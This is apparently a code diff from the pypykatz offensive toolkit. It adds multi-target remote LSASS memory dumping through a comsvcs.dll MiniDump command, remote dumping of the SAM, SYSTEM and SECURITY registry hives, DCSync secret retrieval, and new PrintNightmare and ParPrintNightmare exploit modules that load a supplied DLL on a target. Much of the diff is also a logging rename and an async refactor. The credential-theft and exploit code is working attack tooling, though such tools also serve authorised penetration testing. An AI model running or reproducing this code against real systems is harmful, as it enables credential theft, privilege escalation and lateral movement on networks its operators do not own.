207372 elif args.livesmbcommand == 'shareenum':
208373 from pypykatz.smb.shareenum import shareenum
257422 if args.verbose == 0:
258423 smblog.setLevel(100)
259424 elif args.verbose == 1:
260 smblog.setLevel(level=logging.INFO)
425 smblog.setLevel(level=logger.INFO)
261426 else:
262427 level = 5 - args.verbose
263428 smblog.setLevel(level=level)
269434
270435 elif args.smb_module == 'lsassdump':
271436 from pypykatz.smb.lsassutils import lsassdump
272 mimi = await lsassdump(args.url, chunksize=args.chunksize, packages=args.packages)
273 self.process_results({'smbfile':mimi}, [], args)
437 async for tid, mimi, err in lsassdump(
438 args.url,
439 chunksize=args.chunksize,
440 packages=args.packages,
441 method = args.method,
442 targets = args.target,
443 worker_cnt = args.worker_count
444 ):
445 if err is not None:
446 continue
447 self.process_results({tid:mimi}, [], args)
274448
275449 elif args.smb_module == 'secretsdump':
276450 from pypykatz.smb.lsassutils import lsassdump
282456 if mimi is not None:
283457 self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt')
284458 except Exception as e:
285 logging.exception('[SECRETSDUMP] Failed to get LSASS secrets')
459 logger.exception('[SECRETSDUMP] Failed to get LSASS secrets')
286460
287461 try:
288462 po = await regdump(args.url)
295469 else:
296470 print(str(po))
297471 except Exception as e:
298 logging.exception('[SECRETSDUMP] Failed to get registry secrets')
472 logger.exception('[SECRETSDUMP] Failed to get registry secrets')
299473
300474
301475 try:
309483 print(str(secret))
310484
311485 except Exception as e:
312 logging.exception('[SECRETSDUMP] Failed to perform DCSYNC')
486 logger.exception('[SECRETSDUMP] Failed to perform DCSYNC')
313487 finally:
314488 if args.outfile is not None:
315489 outfile.close()
331505
332506 elif args.smb_module == 'regdump':
333507 from pypykatz.smb.regutils import regdump
334 po = await regdump(args.url)
335
336 if po is not None:
337 if args.outfile:
338 po.to_file(args.outfile, args.json)
339 else:
340 if args.json:
341 print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
342 else:
343 print(str(po))
508 async for tid, po, err in regdump(args.url, targets=args.target, worker_cnt = args.worker_count):
509 if err is not None:
510 if args.outfile:
511 with open(args.outfile, 'a') as f:
512 f.write('[%s][ERROR]%s' % (tid, str(err)))
513 else:
514 print('[%s][ERROR]%s' % (tid, str(err)))
515
516 continue
517
518 if po is not None:
519 if args.outfile:
520 po.to_file(args.outfile, args.json)
521 else:
522 if args.json:
523 print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
524 else:
525 buffer = ''
526 for line in str(po).split('\n'):
527 buffer += '[%s] ' % tid
528 buffer += line + '\r\n'
529 print(buffer)
344530
345531 elif args.smb_module == 'regfile':
346532 from pypykatz.smb.regutils import regfile
388574 max_items = args.maxitems,
389575 dirsd = args.dirsd,
390576 filesd = args.filesd,
391 authmethod = args.authmethod,
392 protocol_version = args.protocol_version,
393577 output_type = output_type,
394578 max_runtime = args.max_runtime,
395579 exclude_share = exclude_share,
399583 )
400584
401585
402 elif args.smb_module == 'console':
586 elif args.smb_module == 'client':
403587 from aiosmb.examples.smbclient import amain
404588 la = SMBCMDArgs()
405589 la.smb_url = args.url
416600 la.commands.append(command)
417601
418602 await amain(la)
603
604 elif args.smb_module == 'printnightmare':
605 from pypykatz.smb.printer import printnightmare
606 _, err = await printnightmare(args.url, args.dllpath)
607 if err is not None:
608 print('Printnightmare failed! %s' % err)
609 return
610 print('Printnightmare OK!')
611
612 elif args.smb_module == 'parprintnightmare':
613 from pypykatz.smb.printer import parprintnightmare
614 _, err = await parprintnightmare(args.url, args.dllpath)
615 if err is not None:
616 print('Parprintnightmare failed! %s' % err)
617 return
618 print('Parprintnightmare OK!')
419619
420620 def process_results(self, results, files_with_error, args, file_prefix = ''):
421621 if args.outfile and args.json:
422 with open(args.outfile+file_prefix, 'w') as f:
622 with open(args.outfile+file_prefix, 'a') as f:
423623 json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True)
424624
425625 elif args.outfile and args.grep:
426 with open(args.outfile+file_prefix, 'w', newline = '') as f:
427 f.write(':'.join(LogonSession.grep_header) + '\r\n')
626 with open(args.outfile+file_prefix, 'a', newline = '') as f:
627 f.write(':'.join(['target'] + LogonSession.grep_header) + '\r\n')
428628 for result in results:
429629 for luid in results[result].logon_sessions:
430630 for row in results[result].logon_sessions[luid].to_grep_rows():
431 f.write(':'.join(row) + '\r\n')
631 f.write(':'.join([result] + row) + '\r\n')
432632
433633 elif args.outfile:
434 with open(args.outfile+file_prefix, 'w') as f:
634 with open(args.outfile+file_prefix, 'a') as f:
435635 for result in results:
436636 f.write('FILE: ======== %s =======\n' % result)
437637
452652 print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True))
453653
454654 elif args.grep:
455 print(':'.join(LogonSession.grep_header))
655 print(':'.join(['target'] + LogonSession.grep_header))
456656 for result in results:
457657 for luid in results[result].logon_sessions:
458658 for row in results[result].logon_sessions[luid].to_grep_rows():
459 print(':'.join(row))
659 print(':'.join([result] + row))
460660 for cred in results[result].orphaned_creds:
461661 t = cred.to_dict()
462662 if t['credtype'] != 'dpapi':
463663 if t['password'] is not None:
464 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
664 x = [result , str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
465665 print(':'.join(x))
466666 else:
467667 t = cred.to_dict()
468 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
668 x = [result, str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
469669 print(':'.join(x))
470670
471671 for pkg, err in results[result].errors:
472672 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
473673 err_str = base64.b64encode(err_str.encode()).decode()
474 x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
674 x = [result + pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
475675 print(':'.join(x) + '\r\n')
476676 else:
477677 for result in results:
505705
506706 if args.kerberos_dir:
507707 dir = os.path.abspath(args.kerberos_dir)
508 logging.info('Writing kerberos tickets to %s' % dir)
708 logger.info('Writing kerberos tickets to %s' % dir)
509709 for filename in results:
510710 base_filename = ntpath.basename(filename)
511711 ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions
00 import asyncio
1 from pypykatz import logging
1 from pypykatz import logger
22
33 async def dcsync(url, username = None):
4 from aiosmb.commons.connection.url import SMBConnectionURL
4 from aiosmb.commons.connection.factory import SMBConnectionFactory
55 from aiosmb.commons.interfaces.machine import SMBMachine
66
7 smburl = SMBConnectionURL(url)
7 smburl = SMBConnectionFactory.from_url(url)
88 connection = smburl.get_connection()
99
1010 users = []
1212 users.append(username)
1313
1414 async with connection:
15 logging.debug('[DCSYNC] Connecting to server...')
15 logger.debug('[DCSYNC] Connecting to server...')
1616 _, err = await connection.login()
1717 if err is not None:
1818 raise err
1919
20 logging.debug('[DCSYNC] Connected to server!')
21 logging.debug('[DCSYNC] Running...')
20 logger.debug('[DCSYNC] Connected to server!')
21 logger.debug('[DCSYNC] Running...')
2222
2323 i = 0
2424 async with SMBMachine(connection) as machine:
2727 raise err
2828 i += 1
2929 if i % 1000 == 0:
30 logging.debug('[DCSYNC] Running... %s' % i)
30 logger.debug('[DCSYNC] Running... %s' % i)
3131 await asyncio.sleep(0)
3232 yield secret
3333
34 logging.debug('[DCSYNC] Finished!')
34 logger.debug('[DCSYNC] Finished!')
3535
00 import asyncio
11 import os
2
3 from pypykatz import logging
2 import itertools
3
4 from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen
5
6 def natatime(n, iterable, fillvalue = None):
7 """Returns an iterator yielding `n` elements at a time.
8 :param n: the number of elements to return at each iteration
9 :param iterable: the iterable over which to iterate
10 :param fillvalue: the value to use for missing elements
11 :Example:
12 >>> for (a,b,c) in natatime(3, [1,2,3,4,5], fillvalue = "?"):
13 ... print a, b, c
14 ...
15 1 2 3
16 4 5 ?
17 """
18 stepped_slices = ( itertools.islice(iterable, i, None, n) for i in range(n) )
19 return itertools.zip_longest(*stepped_slices, fillvalue = fillvalue)
20
21
22 from pypykatz import logger
423
524 async def lsassfile(url, packages = ['all'], chunksize = 64*1024):
6 from aiosmb.commons.connection.url import SMBConnectionURL
25 from aiosmb.commons.connection.factory import SMBConnectionFactory
726 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
827 from pypykatz.apypykatz import apypykatz
928
10 smburl = SMBConnectionURL(url)
29 smburl = SMBConnectionFactory.from_url(url)
1130 connection = smburl.get_connection()
1231 smbfile = smburl.get_file()
1332
1433 async with connection:
15 logging.debug('[LSASSFILE] Connecting to server...')
34 logger.debug('[LSASSFILE] Connecting to server...')
1635 _, err = await connection.login()
1736 if err is not None:
1837 raise err
1938
20 logging.debug('[LSASSFILE] Connected!')
21 logging.debug('[LSASSFILE] Opening LSASS dump file...')
39 logger.debug('[LSASSFILE] Connected!')
40 logger.debug('[LSASSFILE] Opening LSASS dump file...')
2241 _, err = await smbfile.open(connection)
2342 if err is not None:
2443 raise err
2544
26 logging.debug('[LSASSFILE] LSASS file opened!')
27 logging.debug('[LSASSFILE] parsing LSASS file...')
45 logger.debug('[LSASSFILE] LSASS file opened!')
46 logger.debug('[LSASSFILE] parsing LSASS file...')
2847 mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile), chunksize=chunksize, packages = packages)
29 logging.debug('[LSASSFILE] LSASS file parsed OK!')
48 logger.debug('[LSASSFILE] LSASS file parsed OK!')
3049 return mimi
3150
32 async def lsassdump(url, method = 'taskexec', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all']):
33 from aiosmb.commons.exceptions import SMBException
34 from aiosmb.wintypes.ntstatus import NTStatus
35 from aiosmb.commons.connection.url import SMBConnectionURL
36 from aiosmb.commons.interfaces.machine import SMBMachine
37 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
38 from aiosmb.commons.interfaces.file import SMBFile
39 from pypykatz.apypykatz import apypykatz
40
41 smburl = SMBConnectionURL(url)
42 connection = smburl.get_connection()
43
44 if remote_base_path.endswith('\\') is False:
45 remote_base_path += '\\'
46
47 if remote_share_name.endswith('\\') is False:
48 remote_share_name += '\\'
49
50 fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
51 filepath = remote_base_path + fname
52 filesharepath = remote_share_name + fname
51 async def lsassdump(url, method = 'task', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all'], targets = [], worker_cnt = 5):
52 from aiosmb.commons.connection.factory import SMBConnectionFactory
53 base_url = None
54 base_conn = None
55 mimis = []
56 workers = []
57
58 tgens = []
59 if targets is not None and len(targets) != 0:
60 notfile = []
61 if targets is not None:
62 for target in targets:
63 try:
64 f = open(target, 'r')
65 f.close()
66 tgens.append(FileTargetGen(target))
67 except:
68 notfile.append(target)
69
70 if len(notfile) > 0:
71 tgens.append(ListTargetGen(notfile))
72
73 if isinstance(url, SMBConnectionFactory):
74 base_url = url
75 base_conn = url.get_connection()
76 else:
77 base_url = SMBConnectionFactory.from_url(url)
78 base_conn = base_url.get_connection()
5379
54 if method == 'taskexec':
55 cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(filepath)
56 commands = [cmd]
80 lsassdump_coro = lsassdump_single(
81 base_conn.target.get_hostname_or_ip(),
82 base_conn,
83 method = method,
84 remote_base_path = remote_base_path,
85 remote_share_name = remote_share_name,
86 chunksize = chunksize,
87 packages = packages
88 )
89 workers.append(lsassdump_coro)
90
91 for tgen in tgens:
92 async for _, target, err in tgen.generate():
93 tconn = base_url.create_connection_newtarget(target)
94 lsassdump_coro = lsassdump_single(
95 tconn.target.get_hostname_or_ip(),
96 tconn,
97 method = method,
98 remote_base_path = remote_base_path,
99 remote_share_name = remote_share_name,
100 chunksize = chunksize,
101 packages = packages
102 )
103 workers.append(lsassdump_coro)
104 if len(workers) >= worker_cnt:
105 tres = await asyncio.gather(*workers)
106 for res in tres:
107 yield res
108 workers = []
109
110 if len(workers) > 0:
111 tres = await asyncio.gather(*workers)
112 for res in tres:
113 yield res
114 workers = []
115
116
117 async def lsassdump_single(targetid, connection, method = 'task', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all']):
118 try:
119 from aiosmb.commons.exceptions import SMBException
120 from aiosmb.wintypes.ntstatus import NTStatus
121 from aiosmb.commons.interfaces.machine import SMBMachine
122 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
123 from aiosmb.commons.interfaces.file import SMBFile
124 from pypykatz.apypykatz import apypykatz
125
126 if remote_base_path.endswith('\\') is False:
127 remote_base_path += '\\'
128
129 if remote_share_name.endswith('\\') is False:
130 remote_share_name += '\\'
131
132 fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
133 filepath = remote_base_path + fname
134 filesharepath = remote_share_name + fname
135
136 if method == 'task':
137 cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(filepath)
138 commands = [cmd]
139
140 elif method == 'service':
141 cmd = ''
142
143 else:
144 raise Exception('Unknown execution method %s' % method)
145
146 mimi = None
147 async with connection:
148 logger.debug('[LSASSDUMP][%s] Connecting to server...' % targetid)
149 _, err = await connection.login()
150 if err is not None:
151 raise err
152 logger.debug('[LSASSDUMP][%s] Connected!' % targetid)
153 async with SMBMachine(connection) as machine:
154 if method == 'task':
155 logger.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid)
156 smbfile_inner, err = await machine.task_dump_lsass()
157
158 if err is not None:
159 raise err
160
161 smbfile = SMBFileReader(smbfile_inner)
162
163 #logger.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid)
164 #logger.info('[LSASSDUMP][%s] File location: %s' % (targetid,filepath))
165 #_, err = await machine.tasks_execute_commands(commands)
166 #if err is not None:
167 # raise err
168 #
169 #logger.debug('[LSASSDUMP][%s] Opening LSASS dump file...' % targetid)
170 #for _ in range(5):
171 # logger.debug('[LSASSDUMP][%s] Sleeping a bit to let the remote host finish dumping' % targetid)
172 # await asyncio.sleep(5)
173 # smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath))
174 # _, err = await smbfile.open(connection)
175 # if err is not None:
176 # if isinstance(err, SMBException):
177 # if err.ntstatus == NTStatus.SHARING_VIOLATION:
178 # logger.debug('[LSASSDUMP][%s] LSASS dump is not yet ready, retrying...' % targetid)
179 # #await asyncio.sleep(1)
180 # continue
181 # raise err
182 # break
183 #else:
184 # raise err
185
186
187
188 elif method == 'service':
189 logger.debug('[LSASSDUMP][%s] Start dumping LSASS with serviceexec method!' % targetid)
190 smbfile_inner, err = await machine.service_dump_lsass()
191
192 if err is not None:
193 raise err
194 smbfile = SMBFileReader(smbfile_inner)
195
196 else:
197 raise Exception('Unknown execution method %s' % method)
198
199 logger.debug('[LSASSDUMP][%s] LSASS dump file opened!' % targetid)
200 logger.debug('[LSASSDUMP][%s] parsing LSASS dump file on the remote host...' % targetid)
201 mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages = packages)
202
203 logger.debug('[LSASSDUMP][%s] parsing OK!' % targetid)
204 logger.debug('[LSASSDUMP][%s] Deleting remote dump file...' % targetid)
205 _, err = await smbfile.delete()
206 if err is not None:
207 print('[%s] Failed to delete LSASS file! Reason: %s' % (targetid, err))
208 else:
209 print('[%s] Remote LSASS file deleted OK!' % targetid)
57210
58 else:
59 raise Exception('Unknown execution method %s' % method)
60
61 mimi = None
62 async with connection:
63 logging.debug('[LSASSDUMP] Connecting to server...')
64 _, err = await connection.login()
65 if err is not None:
66 raise err
67 logging.debug('[LSASSDUMP] Connected!')
68 async with SMBMachine(connection) as machine:
69 if method == 'taskexec':
70 logging.debug('[LSASSDUMP] Start dumping LSASS with taskexec method!')
71 logging.info('[LSASSDUMP] File location: %s' % filepath)
72 _, err = await machine.tasks_execute_commands(commands)
73 if err is not None:
74 raise err
75
76 logging.debug('[LSASSDUMP] Sleeping a bit to let the remote host finish dumping')
77 await asyncio.sleep(10)
78
79 else:
80 raise Exception('Unknown execution method %s' % method)
81
82 logging.debug('[LSASSDUMP] Opening LSASS dump file...')
83 for _ in range(3):
84 smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath))
85 _, err = await smbfile.open(connection)
86 if err is not None:
87 if isinstance(err, SMBException):
88 if err.ntstatus == NTStatus.SHARING_VIOLATION:
89 logging.debug('[LSASSDUMP] LSASS dump is not yet ready, retrying...')
90 await asyncio.sleep(1)
91 continue
92 raise err
93 break
94 else:
95 raise err
96
97 logging.debug('[LSASSDUMP] LSASS dump file opened!')
98 logging.debug('[LSASSDUMP] parsing LSASS dump file on the remote host...')
99 mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages = packages)
100
101 logging.debug('[LSASSDUMP] parsing OK!')
102 logging.debug('[LSASSDUMP] Deleting remote dump file...')
103 _, err = await smbfile.delete()
104 if err is not None:
105 logging.info('[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err)
106 else:
107 logging.info('[LSASSDUMP] remote LSASS file deleted OK!')
108
109 return mimi
211 return targetid, mimi, None
212 except Exception as e:
213 import traceback
214 traceback.print_exc()
215 return targetid, None, e
0 import asyncio
1 import os
2
3 from pypykatz import logger
4
5 async def printnightmare(url, dll_path, driverpath = None):
6 try:
7 from aiosmb.commons.connection.factory import SMBConnectionFactory
8 from aiosmb.commons.interfaces.machine import SMBMachine
9
10 smburl = SMBConnectionFactory.from_url(url)
11 connection = smburl.get_connection()
12
13 async with connection:
14 logger.debug('[PRINTNIGHTMARE] Connecting to server...')
15 _, err = await connection.login()
16 if err is not None:
17 raise err
18
19 machine = SMBMachine(connection)
20 logger.debug('[PRINTNIGHTMARE] Connected!')
21 logger.debug('[PRINTNIGHTMARE] Triggering printnightmare...')
22 _, err = await machine.printnightmare(dll_path, driverpath)
23 if err is not None:
24 raise err
25 logger.debug('[PRINTNIGHTMARE] Printnightmare finished OK!')
26 return True, None
27 except Exception as e:
28 import traceback
29 traceback.print_exc()
30 return None, e
31
32 async def parprintnightmare(url, dll_path, driverpath = None):
33 try:
34 from aiosmb.commons.connection.factory import SMBConnectionFactory
35 from aiosmb.commons.interfaces.machine import SMBMachine
36
37 smburl = SMBConnectionFactory.from_url(url)
38 connection = smburl.get_connection()
39
40 async with connection:
41 logger.debug('[PARPRINTNIGHTMARE] Connecting to server...')
42 _, err = await connection.login()
43 if err is not None:
44 raise err
45
46 machine = SMBMachine(connection)
47 logger.debug('[PARPRINTNIGHTMARE] Connected!')
48 logger.debug('[PARPRINTNIGHTMARE] Triggering parprintnightmare...')
49 _, err = await machine.par_printnightmare(dll_path, driverpath)
50 if err is not None:
51 raise err
52 logger.debug('[PARPRINTNIGHTMARE] Parprintnightmare finished OK!')
53 return True, None
54 except Exception as e:
55 import traceback
56 traceback.print_exc()
57 return None, e
11 import asyncio
22 import os
33
4 from pypykatz import logging
5
6 async def regdump(url, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3):
7 from aiosmb.commons.connection.url import SMBConnectionURL
8 from aiosmb.commons.interfaces.machine import SMBMachine
9 from aiosmb.commons.interfaces.file import SMBFile
10 from aiosmb.dcerpc.v5.common.service import SMBServiceStatus
11 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
12 from pypykatz.registry.aoffline_parser import OffineRegistry
13
4 from pypykatz import logger
5 from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen
6
7
8 async def regdump(url, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3, targets = [], worker_cnt = 5):
9 from aiosmb.commons.connection.factory import SMBConnectionFactory
1410
15
16 smburl = SMBConnectionURL(url)
17 connection = smburl.get_connection()
18 if remote_base_path.endswith('\\') is False:
19 remote_base_path += '\\'
20
21 if remote_share_name.endswith('\\') is False:
22 remote_share_name += '\\'
23
24 po = None
25
26 async with connection:
27 logging.debug('[REGDUMP] Connecting to server...')
28 _, err = await connection.login()
29 if err is not None:
30 raise err
31
32 logging.debug('[REGDUMP] Connected to server!')
33 async with SMBMachine(connection) as machine:
34 logging.debug('[REGDUMP] Checking remote registry service status...')
35 status, err = await machine.check_service_status('RemoteRegistry')
36 if err is not None:
37 raise err
38
39 logging.debug('[REGDUMP] Remote registry service status: %s' % status.name)
40 if status != SMBServiceStatus.RUNNING:
41 logging.debug('[REGDUMP] Enabling Remote registry service')
42 _, err = await machine.enable_service('RemoteRegistry')
11 base_url = None
12 base_conn = None
13 mimis = []
14 workers = []
15
16 tgens = []
17 if targets is not None and len(targets) != 0:
18 notfile = []
19 if targets is not None:
20 for target in targets:
21 try:
22 f = open(target, 'r')
23 f.close()
24 tgens.append(FileTargetGen(target))
25 except:
26 notfile.append(target)
27
28 if len(notfile) > 0:
29 tgens.append(ListTargetGen(notfile))
30
31 if isinstance(url, SMBConnectionFactory):
32 base_url = url
33 base_conn = url.get_connection()
34 else:
35 base_url = SMBConnectionFactory.from_url(url)
36 base_conn = base_url.get_connection()
37
38 regdump_coro = regdump_single(
39 base_conn.target.get_hostname_or_ip(),
40 base_conn,
41 hives = hives,
42 remote_base_path = remote_base_path,
43 remote_share_name = remote_share_name,
44 enable_wait = enable_wait
45 )
46 workers.append(regdump_coro)
47
48 for tgen in tgens:
49 async for _, target, err in tgen.generate():
50 tconn = base_url.create_connection_newtarget(target)
51 regdump_coro = regdump_single(
52 tconn.target.get_hostname_or_ip(),
53 tconn,
54 hives = hives,
55 remote_base_path = remote_base_path,
56 remote_share_name = remote_share_name,
57 enable_wait = enable_wait
58 )
59 workers.append(regdump_coro)
60 if len(workers) >= worker_cnt:
61 tres = await asyncio.gather(*workers)
62 for res in tres:
63 yield res
64 workers = []
65
66 if len(workers) > 0:
67 tres = await asyncio.gather(*workers)
68 for res in tres:
69 yield res
70 workers = []
71
72
73 async def regdump_single(targetid, connection, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3):
74 try:
75 from aiosmb.commons.interfaces.machine import SMBMachine
76 from aiosmb.commons.interfaces.file import SMBFile
77 from aiosmb.dcerpc.v5.common.service import SMBServiceStatus
78 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
79 from pypykatz.registry.aoffline_parser import OffineRegistry
80
81
82 if remote_base_path.endswith('\\') is False:
83 remote_base_path += '\\'
84
85 if remote_share_name.endswith('\\') is False:
86 remote_share_name += '\\'
87
88 po = None
89
90 async with connection:
91 logger.debug('[REGDUMP] Connecting to server...')
92 _, err = await connection.login()
93 if err is not None:
94 raise err
95
96 logger.debug('[REGDUMP] Connected to server!')
97 async with SMBMachine(connection) as machine:
98 logger.debug('[REGDUMP] Checking remote registry service status...')
99 status, err = await machine.check_service_status('RemoteRegistry')
43100 if err is not None:
44101 raise err
45 logging.debug('[REGDUMP] Starting Remote registry service')
46 _, err = await machine.start_service('RemoteRegistry')
47 if err is not None:
48 raise err
49
50 await asyncio.sleep(enable_wait)
51
52
53
54 logging.debug('[REGDUMP] Remote registry service should be running now...')
55 files = {}
56 for hive in hives:
57 fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex())
58 remote_path = remote_base_path + fname
59 remote_sharepath = remote_share_name + fname
60 remote_file = SMBFileReader(SMBFile.from_remotepath(connection, remote_sharepath))
61 files[hive.split('\\')[1].upper()] = remote_file
62
63 logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path))
64 _, err = await machine.save_registry_hive(hive, remote_path)
65 if err is not None:
66 raise err
67
68 #await asyncio.sleep(1)
69 for rfilename in files:
70 rfile = files[rfilename]
71 logging.debug('[REGDUMP] Opening reghive file %s' % rfilename)
72 _, err = await rfile.open(connection)
73 if err is not None:
74 raise err
75
76 try:
77 logging.debug('[REGDUMP] Parsing hives...')
78 po = await OffineRegistry.from_async_reader(
79 files['SYSTEM'],
80 sam_reader = files.get('SAM'),
81 security_reader = files.get('SECURITY'),
82 software_reader = files.get('SOFTWARE')
83 )
84 except Exception as e:
85 print(e)
86
87 logging.debug('[REGDUMP] Hives parsed OK!')
88
89 logging.debug('[REGDUMP] Deleting remote files...')
90 err = None
91 for rfilename in files:
92 rfile = files[rfilename]
93 err = await rfile.close()
94 if err is not None:
95 logging.info('[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename)
96
97 _, err = await rfile.delete()
98 if err is not None:
99 logging.info('[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename)
100
101 if err is None:
102 logging.info('[REGDUMP] Deleting remote files OK!')
103 return po
102
103 logger.debug('[REGDUMP] Remote registry service status: %s' % status.name)
104 if status != SMBServiceStatus.RUNNING:
105 logger.debug('[REGDUMP] Enabling Remote registry service')
106 _, err = await machine.enable_service('RemoteRegistry')
107 if err is not None:
108 raise err
109 logger.debug('[REGDUMP] Starting Remote registry service')
110 _, err = await machine.start_service('RemoteRegistry')
111 if err is not None:
112 raise err
113
114 await asyncio.sleep(enable_wait)
115
116
117
118 logger.debug('[REGDUMP] Remote registry service should be running now...')
119 files = {}
120 for hive in hives:
121 fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex())
122 remote_path = remote_base_path + fname
123 remote_sharepath = remote_share_name + fname
124 remote_file = SMBFileReader(SMBFile.from_remotepath(connection, remote_sharepath))
125 files[hive.split('\\')[1].upper()] = remote_file
126
127 logger.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path))
128 _, err = await machine.save_registry_hive(hive, remote_path)
129 if err is not None:
130 raise err
131
132 #await asyncio.sleep(1)
133 for rfilename in files:
134 rfile = files[rfilename]
135 logger.debug('[REGDUMP] Opening reghive file %s' % rfilename)
136 _, err = await rfile.open(connection)
137 if err is not None:
138 raise err
139
140 try:
141 logger.debug('[REGDUMP] Parsing hives...')
142 po = await OffineRegistry.from_async_reader(
143 files['SYSTEM'],
144 sam_reader = files.get('SAM'),
145 security_reader = files.get('SECURITY'),
146 software_reader = files.get('SOFTWARE')
147 )
148 except Exception as e:
149 print(e)
150
151 logger.debug('[REGDUMP] Hives parsed OK!')
152
153 logger.debug('[REGDUMP] Deleting remote files...')
154 err = None
155 for rfilename in files:
156 rfile = files[rfilename]
157 err = await rfile.close()
158 if err is not None:
159 logger.info('[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename)
160
161 _, err = await rfile.delete()
162 if err is not None:
163 logger.info('[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename)
164
165 if err is None:
166 logger.info('[REGDUMP] Deleting remote files OK!')
167
168 return targetid, po, None
169 except Exception as e:
170 return targetid, None, e
104171
105172
106173
107174 async def regfile(url, system, sam = None, security = None, software = None, smb_basepath = None):
108 from aiosmb.commons.connection.url import SMBConnectionURL
175 from aiosmb.commons.connection.factory import SMBConnectionFactory
109176 from aiosmb.commons.interfaces.file import SMBFile
110177 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
111178 from pypykatz.registry.aoffline_parser import OffineRegistry
112179
113 smburl = SMBConnectionURL(url)
180 smburl = SMBConnectionFactory.from_url(url)
114181 connection = smburl.get_connection()
115182
116183 if smb_basepath is None:
141208
142209 po = None
143210 async with connection:
144 logging.debug('[REGFILE] Connecting to server...')
211 logger.debug('[REGFILE] Connecting to server...')
145212 _, err = await connection.login()
146213 if err is not None:
147214 raise err
148215
149 logging.debug('[REGFILE] Connected to server!')
150 logging.debug('[REGFILE] Opening SYSTEM hive dump file...')
216 logger.debug('[REGFILE] Connected to server!')
217 logger.debug('[REGFILE] Opening SYSTEM hive dump file...')
151218 # parse files here
152219 _, err = await system_smbfile.open(connection)
153220 if err is not None:
154221 raise err
155222
156223 if sam_smbfile is not None:
157 logging.debug('[REGFILE] Opening SAM hive dump file...')
224 logger.debug('[REGFILE] Opening SAM hive dump file...')
158225 _, err = await sam_smbfile.open(connection)
159226 if err is not None:
160227 raise err
161228
162229 if security_smbfile is not None:
163 logging.debug('[REGFILE] Opening SECURITY hive dump file...')
230 logger.debug('[REGFILE] Opening SECURITY hive dump file...')
164231 _, err = await security_smbfile.open(connection)
165232 if err is not None:
166233 raise err
167234
168235 if software_smbfile is not None:
169 logging.debug('[REGFILE] Opening SOFTWARE hive dump file...')
236 logger.debug('[REGFILE] Opening SOFTWARE hive dump file...')
170237 _, err = await software_smbfile.open(connection)
171238 if err is not None:
172239 raise err
173240
174 logging.debug('[REGFILE] All files opened OK!')
175 logging.debug('[REGFILE] Parsing hive files...')
241 logger.debug('[REGFILE] All files opened OK!')
242 logger.debug('[REGFILE] Parsing hive files...')
176243 po = await OffineRegistry.from_async_reader(system_smbfile, sam_reader = sam_smbfile, security_reader = security_smbfile, software_reader = software_smbfile)
177 logging.debug('[REGFILE] Hive files parsed OK!')
244 logger.debug('[REGFILE] Hive files parsed OK!')
178245
179246 return po
